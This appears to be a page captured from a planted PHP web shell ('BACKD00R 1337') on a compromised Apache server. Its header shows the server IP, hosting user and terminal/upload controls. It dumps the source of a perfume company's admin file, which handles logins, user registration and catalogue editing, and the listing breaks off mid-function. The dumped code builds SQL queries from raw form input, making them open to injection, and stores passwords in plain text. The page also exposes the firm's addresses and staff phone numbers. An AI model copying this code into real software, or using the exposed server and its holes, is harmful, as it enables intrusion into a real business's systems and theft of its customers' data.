BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/public_html/controller/

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/public_html/controller/function.php
<?php
session_start();
error_reporting(0);
function login()
{
	if (isset($_POST['submit']))
	{
		 $name = md5($_POST['name']);
	     $pass = md5($_POST['pass']);
		

		if ((!empty($name)) && (!empty($pass)))
		{
			require('database.php');
			$ob = new database();
			$ob->query("SELECT * FROM admin_login where user_name='$name' and password='$pass'");
			foreach($ob->rows() as $data)
			if ($ob->numRows() >= 1)
			{
				if('admin'==$data['type'])
				{
				$_SESSION['logged_in'] = $name;
				
				header('Location:dash.php');
				}
				else
				{
					$data['type'];
					$_SESSION['logged_user'] = $data['id'];
				   echo '<script>window.parent.location.href="../index.php"; </script>';
				}
			   }
				else
				{
				echo '<div class="alert bg-info">
				      <strong>Oh Sorry!</strong>&nbsp; &nbsp;&nbsp; Invalid Usernmae Or Password.
					 </div>';
			}
		}
		
	}
}

function login1()
{
	if (isset($_POST['submit']))
	{
		
		$user1 = $_POST['email'];
		$pass1 = $_POST['password'];

		if ((!empty($user1)) && (!empty($pass1)))
		{
			//require('database.php');
			$ob = new database();
			$ob->query("SELECT * FROM add_user where email='$user1' and password='$pass1' and status='Yes'");
			if ($ob->numRows() >= 1)
			{
				$_SESSION['logged_user'] = $user1;
				header('Location:index.php');
			}
		else
		{
			echo '<script>alert("Invalid Username and Password.\n")</script>';
		}
	}}
}
function login2()
{
	if (isset($_POST['login']))
	{
		//$user2 = $_POST['name'];
		//$pass2 = $_POST['pass'];
		
		if ((!empty($user2)) && (!empty($pass2)))
		{
			require('database.php');
			$ob = new database();
			$ob->query("SELECT * FROM seller_reg where user='$user2' and pass='$pass2'");
			foreach($ob->rows() as $data)
			if ($ob->numRows() >= 1)
			{
			 $_SESSION['logged_suser'] = $data['id'];
		     header('Location:dash1.php');
			}
		else
		{
			echo '<script>alert("Invalid Username and Password.\n")</script>';
		}
	  }
	else
		{
			echo '<script>alert("insert Username and Password.\n")</script>';
		}
	}
}
function login_check()
{
	if (empty($_SESSION['logged_in']) && empty($_SESSION['logged_user']) && empty($_SESSION['logged_suser']) )
	{
		session_destroy();
		header('Location:index.php');
	}
}
function logout()
{
	session_destroy();
	mysql_close();
	header('Location:index.php');
}

function logout1()
{
	session_destroy();
	mysql_close();
	header('Location:index.php');
}

?>
<?php  
 function menu()
 {
 ?>

 <div class="page-sidebar" id="main-menu"> 
  <!-- BEGIN MINI-PROFILE -->
   <div class="user-info-wrapper">	
	<div class="profile-wrapper">
		<img src="assets/img/logo (1).png"  alt="" data-src="assets/img/logo (1).png" data-src-retina="assets/img/logo (1).png" width="75" height="45" />
	</div>
    <div class="user-info">
      <div class="greeting">Welcome</div>
      <div class="username"><span class="semi-bold">Admin</span></div>
      <div class="status">Status<a href="#"><div class="status-icon green"></div>Online</a></div>
    </div>
   </div>
  <!-- END MINI-PROFILE -->
   <!-- BEGIN SIDEBAR MENU -->	
	<p class="menu-title">BROWSE <span class="pull-right"><a href="javascript:;"><i class="fa fa-refresh"></i></a></span></p>
    <ul>	
      <li class="start active "> <a href="dash.php"> <i class="icon-custom-home"></i> <span class="title">Dashboard</span> <span class="selected"></span> </a> </li>
<!--<li class=""> <a href="javascript:;"><i class="fa fa-bar-chart-o"></i> <span class="title">Unit Master</span> <span class="arrow "></span> </a>
<ul class="sub-menu">
<li > <a href="view_unit.php"> View Unit </a> </li>
</ul>
</li>
<li class=""> <a href="javascript:;"><i class="fa fa-users"></i> <span class="title">Reseller </span> <span class="arrow "></span> </a>
<ul class="sub-menu">
<li > <a href="view_seller.php"> View resller </a> </li>
</ul>
</li>-->
<li class=""> <a href="view_user.php"><i class="fa fa-users"></i> <span class="title">View user</span> <span class="selected "></span> </a>

</li>


      <li class=""> <a href="javascript:;"><i class="fa fa-folder-open"></i> <span class="title">Category Master</span> <span class="arrow "></span> </a>
        <ul class="sub-menu">
		  <li > <a href="view_category.php"> View Category </a> </li>
          <!--<li > <a href="view_sub_category.php"> View Sub Category </a> </li>-->
                                
        </ul>
      </li>
      <li class=""> <a href="view_product.php"> <i class="fa fa-user"></i> <span class="title">Product Master</span> <span class="selected "></span> </a>
                               
                                </li>

      <!--<li class=""> <a href="javascript:;"><i class="fa fa-users"></i> <span class="title">Add Offer </span> <span class="arrow "></span> </a>
<ul class="sub-menu">
<li > <a href="offer.php"> Offer </a> </li>
<li > <a href="a_offer.php">Applicable Offer </a> </li>
</ul>
</li>-->
       <!--<li class=""> <a href="stock.php"><i class="fa fa-folder-open"></i> <span class="title">Stock Managment</span> <span class="selected "></span> </a>
        
      </li>-->
        <!--<li class=""> <a href="add_acces.php"> <i class="fa fa-male"></i> <span class="title">Belts Details</span> <span class="selected "></span> </a>
                                
                                </li>-->
    </ul>
  </div>
 <?php } ?>
  <?php 
  function top()
  {
	  ?>
      <div class="header navbar navbar-inverse "> 
  <!-- BEGIN TOP NAVIGATION BAR -->
  <div class="navbar-inner">
	<div class="header-seperation"> 
		<ul class="nav pull-left notifcation-center" id="main-menu-toggle-wrapper" style="display:none">	
		 <li class="dropdown"> <a id="main-menu-toggle" href="#main-menu"  class="" > <div class="iconset top-menu-toggle-white"></div> </a> </li>		 
		</ul>
      <!-- BEGIN LOGO -->	
  <h3><font color="#FFFFFF"><strong>&nbsp;Ruby Aromatics</strong></font></h3>  <!-- <a href="index.html"><img src="assets/img/logo.png" class="logo" alt=""  data-src="assets/img/logo.png" data-src-retina="assets/img/logo2x.png" width="106" height="21"/></a>-->
      <!-- END LOGO --> 
      <ul class="nav pull-right notifcation-center">	
       <!-- <li class="dropdown" id="header_task_bar"> <a href="dash.php" class="dropdown-toggle active" data-toggle=""> <div class="iconset top-home"></div> </a> </li>-->
      
		<li class="dropdown" id="portrait-chat-toggler" style="display:none"> <a href="#sidr" class="chat-menu-toggle"> <div class="iconset top-chat-white "></div> </a> </li>        
      </ul>
      </div>
      <!-- END RESPONSIVE MENU TOGGLER --> 
      <div class="header-quick-nav" > 
  
      <div class="pull-right"> 
		<div class="chat-toggler">	
				<a href="#" class="dropdown-toggle" id="my-task-list" data-placement="bottom"  data-content='' data-toggle="dropdown" data-original-title="">
					<div class="user-details"> 
						<div class="username">
							Welcome<span class="bold">&nbsp;&nbsp;Admin</span>									
						</div>						
					</div> 
					<div class="iconset top-down-arrow"></div>
				</a>	
				<ul class="dropdown-menu  pull-right" role="menu" aria-labelledby="user-options">
                  <li><a href="logout.php"><i class="fa fa-power-off"></i>&nbsp;&nbsp;Log Out</a></li>
               </ul> 
			</div>
      </div>
       
	   <!-- END CHAT TOGGLER -->
      </div> 
      <!-- END TOP NAVIGATION MENU --> 
   
  </div>
  <!-- END TOP NAVIGATION BAR --> 
</div>
<?php }?>
<?php function foot_bottom() { ?>
   
   <!-- Start Our newsletter Area -->
   <!--<section id="hs-newsletter-area" class="hs-newsletter-area">
	   <div class="container">
		   <div class="row">
			   <div class="hs-newsletter-inner bg-theme clearfix">
				   <div class="col-md-12">
					   <h2 class="hs-newsletter-tile">The Beginning Of Something Magical</h2>
				   </div>
				   
										   
			   </div>
		   </div>
	   </div>
   </section>-->
   <!-- End Our newsletter Area -->
   <!-- Start Our footer Area -->
   <footer id="our-footer" class="out-footer-wrap">
	   <div class="footer-top ft-bg-1 pb-80">
		   <div class="container">
			   <div class="row">
				   <div class="our-footer-container clearfix">
					  <!-- Start Single Footer Widget -->
					   <div class="col-md-4 col-lg-4 col-sm-6 col-xs-12">
						   <div class="single-footer-widget">
							   <h4 class="footer-title">contact us</h4>
							   <div class="hs-footer-address">
								   <div class="ft-single-address">
									   <div class="footer-icon">
										   <a href="#"><i class="zmdi zmdi-pin"></i></a>
									   </div>
									   <div class="footer-address">
										   <p><strong style="color:#c7a759;">Regd.Office:&nbsp;</strong>#142, Chhipatti Kannauj : 209 725 Uttar Pradesh, India</p>
										   <p><strong style="color:#c7a759;">Factory:&nbsp;</strong>Haji Ganj,Indl.Area,Phase II,Eidgah Road,Kannauj: 209 725 (Uttar Pradesh) India</p>
									   
									   </div>
								   </div>
									<div class="ft-single-address">
									   <div class="footer-icon">
										   <a href="#"><i class="zmdi zmdi-email"></i></a>
									   </div>
									   <div class="footer-address">
										 
										   <p><a href="mailto:www.rubyaromatic@gmail.com">rubyaromatic@gmail.com</a></p>
									   </div>
								   </div>
								   <div class="ft-single-address">
									   <div class="footer-icon">
										   <a href="#"><i class="zmdi zmdi-phone"></i></a>
									   </div>
									   <div class="footer-address">
										   <p><a href="phone:+91-5694-234194">+91-5694-234194</a></p>
										   
									   </div>
								   </div>
								   <div class="ft-single-address">
									   <div class="footer-icon">
										   <a href="#"><i class="zmdi zmdi-phone"></i></a>
									   </div>
									   <div class="footer-address">
										 
										   <p><a href="javascript:void(0);">+91-5694-203194&nbsp;(Mohd Firoz)</a></p>
									   </div>
								   </div>
								   <strong style="color:#c7a759;">Kanpur Office:&nbsp;</strong>
								   <div class="ft-single-address">
									   <div class="footer-icon">
										   <a href="#"><i class="zmdi zmdi-pin"></i></a>
									   </div>
									   <div class="footer-address">
										   <p>95/93,Hata Murarilal, Chack No:95 Prade,Kanpur:208 001 (Uttar Pradesh) India</p>
										  
									   </div>
								   </div>
								   <div class="ft-single-address">
									   <div class="footer-icon">
										   <a href="#"><i class="zmdi zmdi-phone"></i></a>
									   </div>
									   <div class="footer-address">
										 
										   <p><a href="javascript:void(0);">+91-8604-738-913&nbsp;(Mohd Gufran)</a></p>
									   </div>
								   </div>
								  
								  
							   </div>
						   </div>
					   </div>
					   <!-- End Single Footer Widget --> 
					   <div class="col-md-4 col-lg-4 col-sm-6 col-xs-12">
						   <div class="single-footer-widget">
							   <h4 class="footer-title">Quick View</h4>
							   <ul class="hs-footer-date">
								  <li><a href="index.php">Home</a></li> 
								  <li><a href="about.php">About</a></li>
								  <li><a href="product_shop.php">Product</a></li>
								  <li><a href="gallery.php">Gallery</a></li>
								  <li><a href="contact.php">Contact</a></li>
							   </ul>
							   <p class="footer-pra footer-pra-2">&nbsp;</p>
							   <img src='http://www.hit-counts.com/counter.php?t=MTM1OTc2Ng==' alt='Free Hit Counter' border='0'>
						  <br /> <a href="javascript:doTranslate('en|en')" title="English" style="margin: 0px 3px 0px 0px; padding: 0px; border: 0px; outline: none; text-decoration: none; cursor: pointer; transition: background-color 0.5s, background-image 0.5s, background-position 0.5s, color 0.5s; font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: inherit; line-height: 18px; color: rgb(87, 109, 78); letter-spacing: normal; orphans: auto; text-align: right; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(107, 172, 90);"><img src="http://catalog.wlimg.com/flags/en-24x16.png" alt="English" title="English" class="bdr vam" style="margin: 0px; padding: 0px; border: 1px solid rgb(170, 170, 170); outline: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; max-width: 100%; width: auto; height: auto; vertical-align: middle; box-sizing: border-box;"></a><a href="javascript:doTranslate('en|fr')" title="French" style="margin: 0px 3px; padding: 0px; border: 0px; outline: none; text-decoration: none; cursor: pointer; transition: background-color 0.5s, background-image 0.5s, background-position 0.5s, color 0.5s; font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: inherit; line-height: 18px; color: rgb(87, 109, 78); letter-spacing: normal; orphans: auto; text-align: right; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(107, 172, 90);"><img src="http://catalog.wlimg.com/flags/fr-24x16.png" alt="French" title="French" class="bdr vam" style="margin: 0px; padding: 0px; border: 1px solid rgb(170, 170, 170); outline: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; max-width: 100%; width: auto; height: auto; vertical-align: middle; box-sizing: border-box;"></a><a href="javascript:doTranslate('en|hi')" title="Hindi" style="margin: 0px 3px; padding: 0px; border: 0px; outline: none; text-decoration: none; cursor: pointer; transition: background-color 0.5s, background-image 0.5s, background-position 0.5s, color 0.5s; font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: inherit; line-height: 18px; color: rgb(87, 109, 78); letter-spacing: normal; orphans: auto; text-align: right; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(107, 172, 90);"><img src="http://catalog.wlimg.com/flags/hi-24x16.png" alt="Hindi" title="Hindi" class="bdr vam" style="margin: 0px; padding: 0px; border: 1px solid rgb(170, 170, 170); outline: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; max-width: 100%; width: auto; height: auto; vertical-align: middle; box-sizing: border-box;"></a><a href="javascript:doTranslate('en|pt')" title="Portuguese" style="margin: 0px 3px; padding: 0px; border: 0px; outline: none; text-decoration: none; cursor: pointer; transition: background-color 0.5s, background-image 0.5s, background-position 0.5s, color 0.5s; font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: inherit; line-height: 18px; color: rgb(87, 109, 78); letter-spacing: normal; orphans: auto; text-align: right; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(107, 172, 90);"><img src="http://catalog.wlimg.com/flags/pt-24x16.png" alt="Portuguese" title="Portuguese" class="bdr vam" style="margin: 0px; padding: 0px; border: 1px solid rgb(170, 170, 170); outline: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; max-width: 100%; width: auto; height: auto; vertical-align: middle; box-sizing: border-box;"></a><a href="javascript:doTranslate('en|es')" title="Spanish" style="margin: 0px 3px; padding: 0px; border: 0px; outline: none; text-decoration: none; cursor: pointer; transition: background-color 0.5s, background-image 0.5s, background-position 0.5s, color 0.5s; font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: inherit; line-height: 18px; color: rgb(87, 109, 78); letter-spacing: normal; orphans: auto; text-align: right; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(107, 172, 90);"><img src="http://catalog.wlimg.com/flags/es-24x16.png" alt="Spanish" title="Spanish" class="bdr vam" style="margin: 0px; padding: 0px; border: 1px solid rgb(170, 170, 170); outline: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; max-width: 100%; width: auto; height: auto; vertical-align: middle; box-sizing: border-box;"></a><br /><br /> 
                           </div>
                           
 
                            
<div id="google_translate_element"></div>
<script> 
function googleTranslateElementInit() {
  new google.translate.TranslateElement({
    pageLanguage: 'en'
  }, 'google_translate_element');
}
</script>
<script src="http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script> 

					   </div>
					   <!-- End Single Footer Widget -->
					   
					   <!-- Start Single Footer Widget -->
					   <div class="col-md-3 col-lg-3 col-sm-6 col-xs-12">
						   <div class="single-footer-widget">
							   <iframe src="https://www.facebook.com/plugins/page.php?href=https%3A%2F%2Fwww.facebook.com%2Frubyaromatics%2F&tabs=timeline&width=340&height=300&small_header=true&adapt_container_width=true&hide_cover=false&show_facepile=true&appId" width="340" height="300" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowTransparency="true" allow="encrypted-media"></iframe>
                                <ul class="social-icon">
                                        <li><a href="https://www.facebook.com/rubyaromatics"><i class="zmdi zmdi-facebook"></i></a></li>
                                    <li><a href="https://plus.google.com/u/0/112481747141743050904/posts"><i class="zmdi zmdi-google"></i></a></li>
                                    <li><a href="https://www.youtube.com/channel/UCtv6Ud8afyf89hqyhItTJGw"><i class="zmdi zmdi-youtube"></i></a></li>
                                    </ul>
                                    
						   </div>
					   </div>
					   <!-- End Single Footer Widget -->
				   </div>
			   </div>
		   </div>
	   </div>
	   <div class="copyright">
		   <div class="footer-bottom-area ft-bg-2">
			   <div class="container">
				   <div class="row">
					   <div class="cl-md-12">
						   <div class="footer-btm-inner">
							   <p> Copyright &copy; 2018 <a href="https://rubyaromatics.com"> RUBY AROMATICS .</a> All Right Reserved. &nbsp;&nbsp;&nbsp;&nbsp;
							   Proudly designed & developed by <a href="https://rubyaromatics.com"> Czars India IT Pvt. Ltd.</a></p>
						   </div>
					   </div>
				   </div>
			   </div>
		   </div>
	   </div>
   </footer>
<?php } ?>
       <?php
	   ###############################################
  /*********** function  Add Register ***********/
###############################################
               function add_register()
{
			    if(isset($_POST['submit']))
	{
require('functions.php');
$ob = new database();
$obj = new dwr;

$c_name             = $obj->validate($_POST['c_name']);
$name             = $obj->validate($_POST['name']);
$email              = $obj->validate($_POST['email']);
$mobile               = $obj->validate($_POST['mobile']);
$address            = $obj->validate($_POST['address']);
$countary           = $obj->validate($_POST['countary']);
$state               = $obj->validate($_POST['state']);
$city               = $obj->validate($_POST['city']);
$password               = $obj->validate($_POST['password']);

$status             ='No';
$c_date             = date("Y-m-d");
$u_date             = "";

$email  =  mysql_real_escape_string($_POST['email']);
$check =  mysql_query("SELECT  `email` FROM `add_user` WHERE  'email'='$email'"); 
if(mysql_num_rows($check)>0)
{
        
echo '<div class="alert alert-block alert-danger fade in">
                               <button data-dismiss="alert" class="close close-sm" type="button">
                                   <i class="fa fa-times"></i>
                               </button>
                                <strong>Oooops!</strong> This Email is alreday exist in database.
                           </div>';
 }
 else
{
$f = array('c_name','name', 'email','mobile','address','countary','state','city','password','c_date','u_date','status');
$v = array($c_name,$name,$email,$mobile,$address,$countary,$state,$city,$password,$c_date,$u_date,$status);

$obj->insert('add_user',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
					/*echo '<script>window.parent.location.href="edit_reg.php?mobile='.$mobile.'"; </script>';*/
			}
		else {
 			echo '<div class="alert alert-dismissable alert-danger">
				  <i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
 			}
         }
	  }
}
	
###############################################
  /*********** function  Edit Register ***********/
###############################################

function edit_register()
{
	if(isset($_POST['submit']))
	{
        require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$email = $_POST['email'];

 $c_name             = $obj->validate($_POST['c_name']);
$name             = $obj->validate($_POST['name']);
$email              = $obj->validate($_POST['email']);
$mobile               = $obj->validate($_POST['mobile']);
$address            = $obj->validate($_POST['address']);
$countary           = $obj->validate($_POST['countary']);
$state               = $obj->validate($_POST['state']);
$city               = $obj->validate($_POST['city']);
$password               = $obj->validate($_POST['password']);
 
 $u_date       = date("Y-m-d");
 
$f = array("c_name='$c_name',name='$name',email='$email',mobile='$mobile',address='$address',countary='$countary',state='$state',city='$city',password='$password',u_date='$u_date'");

		$obj->update('add_user',$f,'email',$email);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
	}
}

###############################################
       /*********** function  Add User ***********/
###############################################

function add_news_event()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
		$ob = new database();
		$obj = new dwr;

$title       = $obj->validate($_POST['title']);
$to_date     = $obj->validate($_POST['to_date']);
$from_date   = $obj->validate($_POST['from_date']);
$descr       = $obj->validate($_POST['descr']);

$c_date      = date("Y-m-d");
		
$f = array('title','to_date','from_date','descr','c_date');
$v = array($title,$to_date,$from_date,$descr,$c_date);

$obj->insert('news_event',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
 		}
		else {
			
			echo '<div class="alert alert-dismissable alert-danger">
					<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
          }
       }
	}
	
###############################################
  /*********** function  Edit Category ***********/
###############################################

function edit_news_event()
{
	if(isset($_POST['submit']))
	{
        require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id = $_POST['id'];

 $title       = $obj->validate($_POST['title']);
 $to_date     = $obj->validate($_POST['to_date']);
 $from_date   = $obj->validate($_POST['from_date']);
 $descr       = $obj->validate($_POST['descr']);
 
 $u_date       = date("d-m-Y");
 
$f = array("title='$title',to_date='$to_date',from_date='$from_date',descr='$descr'");

		$obj->update('news_event',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
	}
}

###############################################
       /*********** function  Add User ***********/
###############################################

function add_cat()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
		$ob = new database();
		$obj = new dwr;

 $category      = $obj->validate($_POST['category']);
//echo $p_d = $obj->validate($_POST['p_d']);

$s_date    = date("Y-m-d");
$c_date    = date("d-m-Y");
$u_date    ="";
 $category  =  mysql_real_escape_string($_POST['category']);
$check =  mysql_query("SELECT  `category` FROM `category` WHERE  `category`='$category' "); 
if(mysql_num_rows($check)>0)
{
        
echo '<div class="alert alert-block alert-danger fade in">
                               <button data-dismiss="alert" class="close close-sm" type="button">
                                   <i class="fa fa-times"></i>
                               </button>
                                <strong>Oooops!</strong> This Name is alreday exist in database.
                           </div>';
 }
 else
{
		
$f = array('category','c_date','u_date');
$v = array($category,$s_date,$u_date);

$obj->insert('category',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
 		}
		else {
			
			echo '<div class="alert alert-dismissable alert-danger">
					<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
          }
       }
	}
}
###############################################
  /*********** function  Edit Category ***********/
###############################################

function edit_category()
{
	if(isset($_POST['submit']))
	{
        require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id = $_POST['id'];

 $category     = $obj->validate($_POST['category']);
 $u_date       = date("d-m-Y");
 
$f = array("category='$category',u_date='$u_date'");

		$obj->update('category',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
	}
}

###############################################
       /*********** function  Add Sub Category ***********/
###############################################

function add_sub_cat()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
			$ob = new database();
				$obj = new dwr;

 $cat         = $obj->validate($_POST['cat']);
 $sub_cat     = $obj->validate($_POST['sub_cat']);
 $c_date      = date("d-m-Y");
 $s_date      = date("Y-m-d");
 $u_date      = "";

$sub_cat  =  mysql_real_escape_string($_POST['sub_cat']);
$check =  mysql_query("SELECT  `sub_cat` FROM `sub_cat` WHERE  `sub_cat`='$sub_cat' "); 
if(mysql_num_rows($check)>0)
{
echo '<div class="alert alert-block alert-danger fade in">
                               <button data-dismiss="alert" class="close close-sm" type="button">
                                   <i class="fa fa-times"></i>
                               </button>
                                <strong>Oooops!</strong> This Name is alreday exist in database.
                           </div>';
 }
 else
{

$f = array('cat_id','sub_cat','c_date','u_date');
$v = array($cat,$sub_cat,$s_date,$u_date);

$obj->insert('sub_cat',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
  		}
		else {
			
			echo '<div class="alert alert-dismissable alert-danger">
					<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
 			}
         }
	  }
	}
###############################################
  /*********** function  Edit Product ***********/
###############################################

function edit_sub_cat()
{
	if(isset($_POST['submit']))
	{
 require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id = $_POST['id'];
		 
 $cat         = $_POST['cat'];
 $sub_cat     = $_POST['sub_cat'];
 $u_date      = date("d-m-Y");
 
$f = array("cat_id='$cat',sub_cat='$sub_cat',u_date='$u_date'");

		$obj->update('sub_cat',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
							echo '<script>window.parent.location.href="view_sub_category.php"; </script>';
	}
}

###############################################
       /*********** function  Add Sub Category ***********/
###############################################

function add_under_sub_cat()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
			$ob = new database();
				$obj = new dwr;
		
//$p_id = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyz0123456789"), 0, 15);
 $cat            = $obj->validate($_POST['cat']);
 $sub_cat        = $obj->validate($_POST['sub_cat']);
 $under_sub_cat  = $obj->validate($_POST['under_sub_cat']);
 $c_date         = date("d-m-Y");
 $s_date         = date("Y-m-d");
 $u_date         = "";
 
//$under_sub_cat  =  mysql_real_escape_string($_POST['under_sub_cat']);
//$check =  mysql_query("SELECT  `under_sub_cat` FROM `under_sub_cat` WHERE  `under_sub_cat`='$under_sub_cat' "); 
if(mysql_num_rows($check)>0)
{
        
echo '<div class="alert alert-block alert-danger fade in">
                               <button data-dismiss="alert" class="close close-sm" type="button">
                                   <i class="fa fa-times"></i>
                               </button>
                                <strong>Oooops!</strong> This Name is alreday exist in database.
                           </div>';
 }
 else
{
$f = array('cat_id','sub_cat_id','under_sub_cat','c_date','s_date','u_date');
$v = array($cat,$sub_cat,$under_sub_cat,$c_date,$s_date,$u_date);

$obj->insert('under_sub_cat',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
			}
		else {
			
			echo '<div class="alert alert-dismissable alert-danger">
				 <i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
			}
          }
       }
	}
  
###############################################
       /*********** function  Edit Product ***********/
###############################################

function edit_under_sub_cat()
{
	if(isset($_POST['submit']))
	{
        require('functions.php');
		$ob = new database();
		$obj = new dwr;
		
 	$id = $_POST['id'];
		 
 $cat           = $_POST['cat'];
 $sub_cat       = $_POST['sub_cat'];
 $under_sub_cat = $_POST['under_sub_cat'];
 $u_date        = date("d-m-Y");
 
$f = array("cat_id='$cat',sub_cat_id='$sub_cat',under_sub_cat='$under_sub_cat',u_date='$u_date'");


		$obj->update('under_sub_cat',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
	}
}
###############################################
  /*********** function  Update Shiping ***********/
###############################################

function edit_order_status()
{
	if(isset($_POST['update_shiping']))
	{

		require('functions.php');
		$ob = new database();
		$obj = new dwr;
 $id         = $_POST['id'];
$a="Dispatch";
$c = count($_POST['id']);             
for($i=0; $i<$c; $i++)
               {
               $id1 =$_POST['id'][$i];
			   $status =$a[$i];
 
$table = 'order_details';
$f = array("type='Dispatch'");
$obj->update($table,$f,'id',$id1);
    }
  }
}
###############################################
  /*********** function  Update Shiping ***********/
###############################################

function edit_order_status1()
{
	if(isset($_POST['update_shiping']))
	{
		require('functions.php');
		$ob = new database();
